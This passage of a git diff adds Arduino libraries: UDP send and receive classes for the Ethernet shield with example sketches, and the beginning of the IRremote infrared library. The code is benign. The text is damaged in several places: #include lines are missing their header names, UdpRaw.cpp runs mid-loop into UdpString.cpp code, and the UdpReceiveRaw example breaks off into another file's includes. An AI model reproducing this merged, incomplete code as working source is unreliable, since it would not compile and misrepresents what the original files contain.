uint16_t _port; // local port to listen on + + uint8_t _txBuffer[UDP_TX_PACKET_MAX_SIZE]; + uint8_t _txIndex; + uint8_t _txIp[4]; + uint16_t _txPort; + uint8_t _txOverflowStrategy; + + uint8_t _rxBuffer[UDP_RX_PACKET_MAX_SIZE]; + uint8_t _rxIndex; + int _rxSize; + uint8_t _rxIp[4]; + uint16_t _rxPort; + +public: + void begin(uint16_t); // initialize, start listening on specified port + int available(); // has data been received? + + // Single byte-oriented functions: + int beginPacket(uint8_t *ip, unsigned int port); // returns 1 on success, 0 if we already started a packet + virtual void write(uint8_t); // add a byte to the currently assembled packet (if there's space) + int endPacket(); // returns # of bytes sent on success, 0 if there's nothing to send + + int read(); //read a byte if available - returns -1 if no data available + + void getSenderIp(uint8_t * ip); //get remote IP of the packet we're currently reading from + unsigned int getSenderPort(); //get remote port# of the packet we're currently reading from + void setOverflowStrategy(uint8_t); // what to do when our packet is full and we try to add more? +}; + +extern UdpBytewiseClass UdpBytewise; +#endif diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpRaw.cpp b/Projects/libraries/Installed_libs/Ethernet/UdpRaw.cpp new file mode 100755 index 0000000..43b1878 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpRaw.cpp @@ -0,0 +1,133 @@ +/* + * UdpRaw.cpp: Library to send/receive UDP packets with the Arduino ethernet shield. + * This version only offers minimal wrapping of socket.c/socket.h + * Drop UdpRaw.h/.cpp into the Ethernet library directory at hardware/libraries/Ethernet/ + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +extern "C" { +#include "types.h" +#include "w5100.h" +#include "socket.h" +} + +#include "Ethernet.h" +#include "UdpRaw.h" + +/* Start UDP socket, listening at local port PORT */ +void UdpRawClass::begin(uint16_t port) { + _port = port; + _sock = 0; //TODO: should not be hardcoded + socket(_sock,Sn_MR_UDP,_port,0); +} + +/* Send packet contained in buf of length len to peer at specified ip, and port */ +/* Use this function to transmit binary data that might contain 0x00 bytes*/ +/* This function returns sent data size for success else -1. */ +uint16_t UdpRawClass::sendPacket(uint8_t * buf, uint16_t len, uint8_t * ip, uint16_t port){ + return sendto(_sock,(const uint8_t *)buf,len,ip,port); +} + +/* Send zero-terminated string str as packet to peer at specified ip, and port */ +/* This function returns sent data size for success else -1. */ +uint16_t UdpRawClass::sendPacket(const char str[], uint8_t * ip, uint16_t port){ + // compute strlen + const char *s; + for(s = str; *s; ++s); + uint16_t len = (s-str); + // send packet + return sendto(_sock,(const uint8_t *)str,len,ip,port); +} +/* Is data available in rx buffer? Returns 0 if no, number of available bytes if yes. + * returned value includes 8 byte UDP header!*/ +int UdpRawClass::available() { + return getSn_RX_RSR(_sock); +} + + +/* Read a received packet into buffer buf (which is of maximum length len); */ +/* store calling ip and port as well. Call available() to make sure data is ready first. */ +/* NOTE: I don't believe len is ever checked in implementation of recvfrom(),*/ +/* so it's easy to overflow buffer. so we check and truncate. */ +/* returns number of bytes read, or negative number of bytes we would have needed if we truncated */ +int UdpRawClass::readPacket(uint8_t * buf, uint16_t bufLen, uint8_t *ip, uint16_t *port) { + int packetLen = available()-8; //skip UDP header; + if(packetLen < 0 ) return 0; // no real data here + if(packetLen > (int)bufLen) { + //packet is too large - truncate + //HACK - hand-parse the UDP packet using TCP recv method + uint8_t tmpBuf[8]; + int i; + //read 8 header bytes and get IP and port from it + recv(_sock,tmpBuf,8); + ip[0] = tmpBuf[0]; + ip[1] = tmpBuf[1]; + ip[2] = tmpBuf[2]; + ip[3] = tmpBuf[3]; + *port = tmpBuf[4]; + *port = (*port << 8) + tmpBuf[5]; + + //now copy first (bufLen) bytes into buf + for(i=0;i<(int)bufLen;i++) { + recv(_sock,tmpBuf,1); + buf[i]=tmpBuf[0]; + } + + //and just read the rest byte by byte and throw it away + while(available()) { + recv(_sock,tmpBuf,1); + } + + return (-1*packetLen); + + //ALTERNATIVE: requires stdlib - takes a bunch of space + /*//create new buffer and read everything into it + uint8_t * tmpBuf = (uint8_t *)malloc(packetLen); + recvfrom(_sock,tmpBuf,packetLen,ip,port); + if(!tmpBuf) return 0; //couldn't allocate + // copy first bufLen bytes + for(unsigned int i=0; i str.capacity()) { + //packet is longer than string capacity - + //resize string - this is very implementation dependent on WString + str = String(len); + //fall through to read which should be ok now + } + return (int)recvfrom(_sock,(byte *)(str.cstr()),(uint16_t)str.capacity(),ip,port); +} + +/* Create one global object */ +UdpStringClass UdpString; diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpString.h b/Projects/libraries/Installed_libs/Ethernet/UdpString.h new file mode 100755 index 0000000..b5b8d93 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpString.h @@ -0,0 +1,70 @@ +/* + * UdpString.h: Library to send/receive UDP packets with the Arduino ethernet shield + * using Tom Igoe/Hernando Barragan's WString library. + * Drop UdpString.h/.cpp from this distribution into the Ethernet library directory at + * hardware/libraries/Ethernet/ + * Then copy directory /libraries/String from this distribution to /hardware/libraries/String in + * your Arduino installation. + * + * NOTE: UDP is fast, but has some important limitations (thanks to Warren Gray for mentioning these) + * 1) UDP does not guarantee the order in which assembled UDP packets are received. This + * might not happen often in practice, but in larger network topologies, a UDP + * packet can be received out of sequence. + * 2) UDP does not guard against lost packets - so packets *can* disappear without the sender being + * aware of it. Again, this may not be a concern in practice on small local networks. + * For more information, see http://www.cafeaulait.org/course/week12/35.html + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +#ifndef UdpString_h +#define UdpString_h + +#include "WString.h" + + + +class UdpStringClass { +private: + uint8_t _sock; // socket ID for Wiz5100 + uint16_t _port; // local port to listen on +public: + void begin(uint16_t); // initialize, start listening on specified port + int available(); // has data been received? + + // C-style buffer-oriented functions + uint16_t sendPacket(uint8_t *, uint16_t, uint8_t *, uint16_t); //send a packet to specified peer + uint16_t sendPacket(const char[], uint8_t *, uint16_t); //send a string as a packet to specified peer + uint16_t readPacket(uint8_t *, uint16_t); // read a received packet + uint16_t readPacket(uint8_t *, uint16_t, uint8_t *, uint16_t *); // read a received packet, also return sender's ip and port + + // WString functions + int sendPacket(String str, byte * ip, unsigned int port); + int sendPacket(String str, int length, byte * ip, unsigned int port); + int readPacket(String &str); + int readPacket(String &str, byte * ip, unsigned int * port); +}; + +extern UdpStringClass UdpString; + +#endif diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveBytewise/UdpReceiveBytewise.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveBytewise/UdpReceiveBytewise.pde new file mode 100755 index 0000000..ae70665 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveBytewise/UdpReceiveBytewise.pde @@ -0,0 +1,57 @@ +#include +#include + +/* UdpReceiveBytewise.pde: Example how to receive packets over UDP using UdpBytewise library + * prints received packet to serial port + * bjoern@cs.stanford.edu 12/30/2008 + */ + +/* ETHERNET SHIELD CONFIGURATION + * set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets + */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +unsigned int localPort = 8888; // local port to listen on + +#define MAX_SIZE 32 // maximum packet size +byte packetBuffer[MAX_SIZE]; //buffer to hold incoming packet +int packetSize; // holds received packet size +byte remoteIp[4]; // holds recieved packet's originating IP +unsigned int remotePort; // holds received packet's originating port + +int i; + +/* SETUP: init Ethernet shield, start UDP listening, open serial port */ +void setup() { + Ethernet.begin(mac,ip,gw); + UdpBytewise.begin(localPort); + Serial.begin(38400); +} +/* LOOP: wait for incoming packets and print each packet to the serial port */ +void loop() { + // if there's data available, read a packet + if(packetSize = UdpBytewise.available()) { + Serial.print("Received packet of size "); + Serial.println(packetSize); + + UdpBytewise.getSenderIp(remoteIp); + Serial.print("From IP "); + for(i=0; i<4; i++) { + Serial.print(remoteIp[i],DEC); + if(i<3) Serial.print("."); + } + + remotePort = UdpBytewise.getSenderPort(); + Serial.print(" Port "); + Serial.println(remotePort); + + Serial.println("Contents:"); + while(UdpBytewise.available()) { + Serial.print(UdpBytewise.read(),BYTE); + } + } + //wait a bit + delay(10); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveRaw/UdpReceiveRaw.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveRaw/UdpReceiveRaw.pde new file mode 100755 index 0000000..4b240fd --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveRaw/UdpReceiveRaw.pde @@ -0,0 +1,70 @@ +#include +#include + +/* UdpReceiveRaw.pde: Example how to receive packets over UDP using UdpRaw library + * prints received packet to serial port + * bjoern@cs.stanford.edu 12/30/2008 + */ + +/* ETHERNET SHIELD CONFIGURATION + * set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets + */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; // local port to listen on + +#define MAX_SIZE 32 // maximum packet size +byte packetBuffer[MAX_SIZE]; //buffer to hold incoming packet +int packetSize; // holds received packet size +byte remoteIp[4]; // holds recvieved packet's originating IP +unsigned int remotePort; // holds received packet's originating port + +int i; + +/* SETUP: init Ethernet shield, start UDP listening, open serial port */ +void setup() { + Ethernet.begin(mac,ip,gw); + UdpRaw.begin(localPort); + Serial.begin(38400); +} +/* LOOP: wait for incoming packets and print each packet to the serial port */ +void loop() { + + // if there's data available, read a packet + if(UdpRaw.available()) { + packetSize = UdpRaw.readPacket(packetBuffer,MAX_SIZE,remoteIp,(uint16_t *)&remotePort); + + Serial.print("Received packet of size "); + Serial.println(abs(packetSize)); + + Serial.print("From IP "); + for(i=0; i<3; i++) { + Serial.print(remoteIp[i],DEC); + Serial.print("."); + } + Serial.print(remoteIp[3],DEC); + + Serial.print(" Port "); + Serial.println(remotePort); + + if(packetSize < 0) { + // if return value <0 the packet was truncated to fit into our buffer + Serial.print("ERROR: Packet was truncated from "); + Serial.print(packetSize*-1); + Serial.print(" to "); + Serial.print(MAX_SIZE); + Serial.println(" bytes."); + } + + Serial.println("Contents:"); + for(i=0; i +#include +#include +/* UdpReceiveString.pde: Example how to receive packets over UDP using the UdpString library + * prints received packet to serial port + * bjoern@cs.stanford.edu 12/30/2008 + */ + +/* ETHERNET SHIELD CONFIGURATION + * set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets + */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; // local port to listen on + +String packet(32); //packet can be max 32 bytes long +byte remoteIp[4]; // holds recvieved packet's originating IP +unsigned int remotePort[1]; // holds received packet's originating port + +int i; + +/* SETUP: init Ethernet shield, start UDP listening, open serial port */ +void setup() { + Ethernet.begin(mac,ip,gw); + UdpString.begin(localPort); + Serial.begin(38400); +} + +/* LOOP: wait for incoming packets and print each packet to the serial port */ +void loop() { + + // if there's data available, read a packet + if(UdpString.available()) { + int packetSize = UdpString.readPacket(packet,remoteIp,remotePort); + + Serial.print("Received packet of size "); + Serial.println(packetSize); + + Serial.print("From IP "); + for(i=0; i<3; i++) { + Serial.print(remoteIp[i],DEC); + Serial.print("."); + } + Serial.print(remoteIp[3],DEC); + + Serial.print(" Port "); + Serial.println(remotePort[0]); + + Serial.println("Contents:"); + Serial.println(packet); + + + } + //wait a bit + delay(10); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendBytewise/UdpSendBytewise.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendBytewise/UdpSendBytewise.pde new file mode 100755 index 0000000..21885e9 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendBytewise/UdpSendBytewise.pde @@ -0,0 +1,36 @@ +#include +#include +/* UdpSendBytewise.pde: Example how to send packets over UDP using the UdpBytewise library + * by assembling packets byte-by-byte + * to check for received packets on Unix-ish setup, execute: + * sudo tcpdump -A -ien0 "udp port 8000" + * bjoern@cs.stanford.edu 12/29/2008 */ + +/* ETHERNET CONFIGURATION + * ARDUINO: set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; //MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; //local port to listen on + +/* TARGET: set this to IP/Port of computer that will receive + * UDP messages from Arduino */ +byte targetIp[] = { 192, 168, 11, 15}; +int targetPort = 8000; + +int i=0; + +void setup() { + Ethernet.begin(mac,ip,gw); + UdpBytewise.begin(localPort); +} + +void loop() { + // this version of sendPacket sends a zero-terminated string. + UdpBytewise.beginPacket(targetIp,targetPort); + UdpBytewise.print("Hello, World! "); + UdpBytewise.print(i++); + UdpBytewise.endPacket(); + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendRaw/UdpSendRaw.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendRaw/UdpSendRaw.pde new file mode 100755 index 0000000..838791d --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendRaw/UdpSendRaw.pde @@ -0,0 +1,40 @@ +#include +#include +/* UdpSendRaw.pde: Example how to send packets over UDP using the UdpRaw library + * to check for received packets on Unix-ish setup, execute: + * sudo tcpdump -ien0 "udp port 8000" + * bjoern@cs.stanford.edu 12/30/2008 */ + +/* ETHERNET CONFIGURATION + * ARDUINO: set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; //MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; //local port to listen on + +/* TARGET: set this to IP/Port of computer that will receive + * UDP messages from Arduino */ +byte targetIp[] = { 192, 168, 11, 15}; +int targetPort = 8000; + +/* A binary packet we'll send to our target - can contain 0x00 */ +byte packet[] = { 'h','e','l','l','o','\0','w','o','r','l','d','\0' }; +int packetLen = 12; + + +void setup() { + Ethernet.begin(mac,ip,gw); + UdpRaw.begin(localPort); +} + +void loop() { + // this version of sendPacket sends a zero-terminated string. + UdpRaw.sendPacket("hello, world.",targetIp,targetPort); + delay(1000); + + // this version sends an arbitrary buffer with specified length; + // buffer can contain '\0' + UdpRaw.sendPacket(packet,packetLen,targetIp,targetPort); + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendString/UdpSendString.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendString/UdpSendString.pde new file mode 100755 index 0000000..fc8c862 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendString/UdpSendString.pde @@ -0,0 +1,48 @@ +#include +#include +#include + +/* UdpSendString.pde: Example how to send packets over UDP using the String library + * to check for received packets on Unix-ish setup, execute: + * sudo tcpdump -A -ien0 "udp port 8000" + * bjoern@cs.stanford.edu 12/30/2008 */ + +/* ETHERNET CONFIGURATION + * ARDUINO: set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; //MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; //local port to listen on + +/* TARGET: set this to IP/Port of computer that will receive + * UDP messages from Arduino */ +byte targetIp[] = { 192, 168, 11, 15}; +int targetPort = 8000; + +/* Strings hold the packets we want to send */ +String asciiString; +String binaryString(4); // if we want to send non-ASCII, we have to provide a capacity for the String + +void setup() { + Ethernet.begin(mac,ip,gw); + UdpString.begin(localPort); + + asciiString = "Hello, World"; + + binaryString.getBytes()[0]=0x00; + binaryString.getBytes()[1]=0x01; + binaryString.getBytes()[2]=0x02; + binaryString.getBytes()[3]=0x03; +} + +void loop() { + // send a normal, zero-terminated string. + UdpString.sendPacket(asciiString,targetIp,targetPort); + delay(1000); + + // sends a binary string that can contain 0x00 in the middle + // you have to specify the length; + UdpString.sendPacket(binaryString,binaryString.capacity(),targetIp,targetPort); + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/IRRemote/IRremote.cpp b/Projects/libraries/Installed_libs/IRRemote/IRremote.cpp new file mode 100755 index 0000000..0b7092c --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/IRremote.cpp @@ -0,0 +1,1030 @@ +/* + * IRremote + * Version 0.11 August, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + * + * Modified by Paul Stoffregen to support other boards and timers + * Modified by Mitra Ardron + * Added Sanyo and Mitsubishi controllers + * Modified Sony to spot the repeat codes that some Sony's send + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#include "IRremote.h" +#include "IRremoteInt.h" + +// Provides ISR +#include + +volatile irparams_t irparams; + +// These versions of MATCH, MATCH_MARK, and MATCH_SPACE are only for debugging. +// To use them, set DEBUG in IRremoteInt.h +// Normally macros are used for efficiency +#ifdef DEBUG +int MATCH(int measured, int desired) { + Serial.print("Testing: "); + Serial.print(TICKS_LOW(desired), DEC); + Serial.print(" <= "); + Serial.print(measured, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired), DEC); + return measured >= TICKS_LOW(desired) && measured <= TICKS_HIGH(desired); +} + +int MATCH_MARK(int measured_ticks, int desired_us) { + Serial.print("Testing mark "); + Serial.print(measured_ticks * USECPERTICK, DEC); + Serial.print(" vs "); + Serial.print(desired_us, DEC); + Serial.print(": "); + Serial.print(TICKS_LOW(desired_us + MARK_EXCESS), DEC); + Serial.print(" <= "); + Serial.print(measured_ticks, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired_us + MARK_EXCESS), DEC); + return measured_ticks >= TICKS_LOW(desired_us + MARK_EXCESS) && measured_ticks <= TICKS_HIGH(desired_us + MARK_EXCESS); +} + +int MATCH_SPACE(int measured_ticks, int desired_us) { + Serial.print("Testing space "); + Serial.print(measured_ticks * USECPERTICK, DEC); + Serial.print(" vs "); + Serial.print(desired_us, DEC); + Serial.print(": "); + Serial.print(TICKS_LOW(desired_us - MARK_EXCESS), DEC); + Serial.print(" <= "); + Serial.print(measured_ticks, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired_us - MARK_EXCESS), DEC); + return measured_ticks >= TICKS_LOW(desired_us - MARK_EXCESS) && measured_ticks <= TICKS_HIGH(desired_us - MARK_EXCESS); +} +#else +int MATCH(int measured, int desired) {return measured >= TICKS_LOW(desired) && measured <= TICKS_HIGH(desired);} +int MATCH_MARK(int measured_ticks, int desired_us) {return MATCH(measured_ticks, (desired_us + MARK_EXCESS));} +int MATCH_SPACE(int measured_ticks, int desired_us) {return MATCH(measured_ticks, (desired_us - MARK_EXCESS));} +// Debugging versions are in IRremote.cpp +#endif + +void IRsend::sendNEC(unsigned long data, int nbits) +{ + enableIROut(38); + mark(NEC_HDR_MARK); + space(NEC_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(NEC_BIT_MARK); + space(NEC_ONE_SPACE); + } + else { + mark(NEC_BIT_MARK); + space(NEC_ZERO_SPACE); + } + data <<= 1; + } + mark(NEC_BIT_MARK); + space(0); +} + +void IRsend::sendSony(unsigned long data, int nbits) { + enableIROut(40); + mark(SONY_HDR_MARK); + space(SONY_HDR_SPACE); + data = data << (32 - nbits); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(SONY_ONE_MARK); + space(SONY_HDR_SPACE); + } + else { + mark(SONY_ZERO_MARK); + space(SONY_HDR_SPACE); + } + data <<= 1; + } +} + +void IRsend::sendRaw(unsigned int buf[], int len, int hz) +{ + enableIROut(hz); + for (int i = 0; i < len; i++) { + if (i & 1) { + space(buf[i]); + } + else { + mark(buf[i]); + } + } + space(0); // Just to be sure +} + +// Note: first bit must be a one (start bit) +void IRsend::sendRC5(unsigned long data, int nbits) +{ + enableIROut(36); + data = data << (32 - nbits); + mark(RC5_T1); // First start bit + space(RC5_T1); // Second start bit + mark(RC5_T1); // Second start bit + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + space(RC5_T1); // 1 is space, then mark + mark(RC5_T1); + } + else { + mark(RC5_T1); + space(RC5_T1); + } + data <<= 1; + } + space(0); // Turn off at end +} + +// Caller needs to take care of flipping the toggle bit +void IRsend::sendRC6(unsigned long data, int nbits) +{ + enableIROut(36); + data = data << (32 - nbits); + mark(RC6_HDR_MARK); + space(RC6_HDR_SPACE); + mark(RC6_T1); // start bit + space(RC6_T1); + int t; + for (int i = 0; i < nbits; i++) { + if (i == 3) { + // double-wide trailer bit + t = 2 * RC6_T1; + } + else { + t = RC6_T1; + } + if (data & TOPBIT) { + mark(t); + space(t); + } + else { + space(t); + mark(t); + } + + data <<= 1; + } + space(0); // Turn off at end +} +void IRsend::sendPanasonic(unsigned int address, unsigned long data) { + enableIROut(35); + mark(PANASONIC_HDR_MARK); + space(PANASONIC_HDR_SPACE); + + for(int i=0;i<16;i++) + { + mark(PANASONIC_BIT_MARK); + if (address & 0x8000) { + space(PANASONIC_ONE_SPACE); + } else { + space(PANASONIC_ZERO_SPACE); + } + address <<= 1; + } + for (int i=0; i < 32; i++) { + mark(PANASONIC_BIT_MARK); + if (data & TOPBIT) { + space(PANASONIC_ONE_SPACE); + } else { + space(PANASONIC_ZERO_SPACE); + } + data <<= 1; + } + mark(PANASONIC_BIT_MARK); + space(0); +} +void IRsend::sendJVC(unsigned long data, int nbits, int repeat) +{ + enableIROut(38); + data = data << (32 - nbits); + if (!repeat){ + mark(JVC_HDR_MARK); + space(JVC_HDR_SPACE); + } + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(JVC_BIT_MARK); + space(JVC_ONE_SPACE); + } + else { + mark(JVC_BIT_MARK); + space(JVC_ZERO_SPACE); + } + data <<= 1; + } + mark(JVC_BIT_MARK); + space(0); +} +void IRsend::mark(int time) { + // Sends an IR mark for the specified number of microseconds. + // The mark output is modulated at the PWM frequency. + TIMER_ENABLE_PWM; // Enable pin 3 PWM output + delayMicroseconds(time); +} + +/* Leave pin off for time (given in microseconds) */ +void IRsend::space(int time) { + // Sends an IR space for the specified number of microseconds. + // A space is no output, so the PWM output is disabled. + TIMER_DISABLE_PWM; // Disable pin 3 PWM output + delayMicroseconds(time); +} + +void IRsend::enableIROut(int khz) { + // Enables IR output. The khz value controls the modulation frequency in kilohertz. + // The IR output will be on pin 3 (OC2B). + // This routine is designed for 36-40KHz; if you use it for other values, it's up to you + // to make sure it gives reasonable results. (Watch out for overflow / underflow / rounding.) + // TIMER2 is used in phase-correct PWM mode, with OCR2A controlling the frequency and OCR2B + // controlling the duty cycle. + // There is no prescaling, so the output frequency is 16MHz / (2 * OCR2A) + // To turn the output on and off, we leave the PWM running, but connect and disconnect the output pin. + // A few hours staring at the ATmega documentation and this will all make sense. + // See my Secrets of Arduino PWM at http://arcfn.com/2009/07/secrets-of-arduino-pwm.html for details. + + + // Disable the Timer2 Interrupt (which is used for receiving IR) + TIMER_DISABLE_INTR; //Timer2 Overflow Interrupt + + pinMode(TIMER_PWM_PIN, OUTPUT); + digitalWrite(TIMER_PWM_PIN, LOW); // When not sending PWM, we want it low + + // COM2A = 00: disconnect OC2A + // COM2B = 00: disconnect OC2B; to send signal set to 10: OC2B non-inverted + // WGM2 = 101: phase-correct PWM with OCRA as top + // CS2 = 000: no prescaling + // The top value for the timer. The modulation frequency will be SYSCLOCK / 2 / OCR2A. + TIMER_CONFIG_KHZ(khz); +} + +IRrecv::IRrecv(int recvpin) +{ + irparams.recvpin = recvpin; + irparams.blinkflag = 0; +} + +// initialization +void IRrecv::enableIRIn() { + cli(); + // setup pulse clock timer interrupt + //Prescale /8 (16M/8 = 0.5 microseconds per tick) + // Therefore, the timer interval can range from 0.5 to 128 microseconds + // depending on the reset value (255 to 0) + TIMER_CONFIG_NORMAL(); + + //Timer2 Overflow Interrupt Enable + TIMER_ENABLE_INTR; + + TIMER_RESET; + + sei(); // enable interrupts + + // initialize state machine variables + irparams.rcvstate = STATE_IDLE; + irparams.rawlen = 0; + + // set pin modes + pinMode(irparams.recvpin, INPUT); +} + +// enable/disable blinking of pin 13 on IR processing +void IRrecv::blink13(int blinkflag) +{ + irparams.blinkflag = blinkflag; + if (blinkflag) + pinMode(BLINKLED, OUTPUT); +} + +// TIMER2 interrupt code to collect raw data. +// Widths of alternating SPACE, MARK are recorded in rawbuf. +// Recorded in ticks of 50 microseconds. +// rawlen counts the number of entries recorded so far. +// First entry is the SPACE between transmissions. +// As soon as a SPACE gets long, ready is set, state switches to IDLE, timing of SPACE continues. +// As soon as first MARK arrives, gap width is recorded, ready is cleared, and new logging starts +ISR(TIMER_INTR_NAME) +{ + TIMER_RESET; + + uint8_t irdata = (uint8_t)digitalRead(irparams.recvpin); + + irparams.timer++; // One more 50us tick + if (irparams.rawlen >= RAWBUF) { + // Buffer overflow + irparams.rcvstate = STATE_STOP; + } + switch(irparams.rcvstate) { + case STATE_IDLE: // In the middle of a gap + if (irdata == MARK) { + if (irparams.timer < GAP_TICKS) { + // Not big enough to be a gap. + irparams.timer = 0; + } + else { + // gap just ended, record duration and start recording transmission + irparams.rawlen = 0; + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_MARK; + } + } + break; + case STATE_MARK: // timing MARK + if (irdata == SPACE) { // MARK ended, record time + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_SPACE; + } + break; + case STATE_SPACE: // timing SPACE + if (irdata == MARK) { // SPACE just ended, record it + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_MARK; + } + else { // SPACE + if (irparams.timer > GAP_TICKS) { + // big SPACE, indicates gap between codes + // Mark current code as ready for processing + // Switch to STOP + // Don't reset timer; keep counting space width + irparams.rcvstate = STATE_STOP; + } + } + break; + case STATE_STOP: // waiting, measuring gap + if (irdata == MARK) { // reset gap timer + irparams.timer = 0; + } + break; + } + + if (irparams.blinkflag) { + if (irdata == MARK) { + BLINKLED_ON(); // turn pin 13 LED on + } + else { + BLINKLED_OFF(); // turn pin 13 LED off + } + } +} + +void IRrecv::resume() { + irparams.rcvstate = STATE_IDLE; + irparams.rawlen = 0; +} + + + +// Decodes the received IR message +// Returns 0 if no data ready, 1 if data ready. +// Results of decoding are stored in results +int IRrecv::decode(decode_results *results) { + results->rawbuf = irparams.rawbuf; + results->rawlen = irparams.rawlen; + if (irparams.rcvstate != STATE_STOP) { + return ERR; + } +#ifdef DEBUG + Serial.println("Attempting NEC decode"); +#endif + if (decodeNEC(results)) { + return DECODED; + } +#ifdef DEBUG + 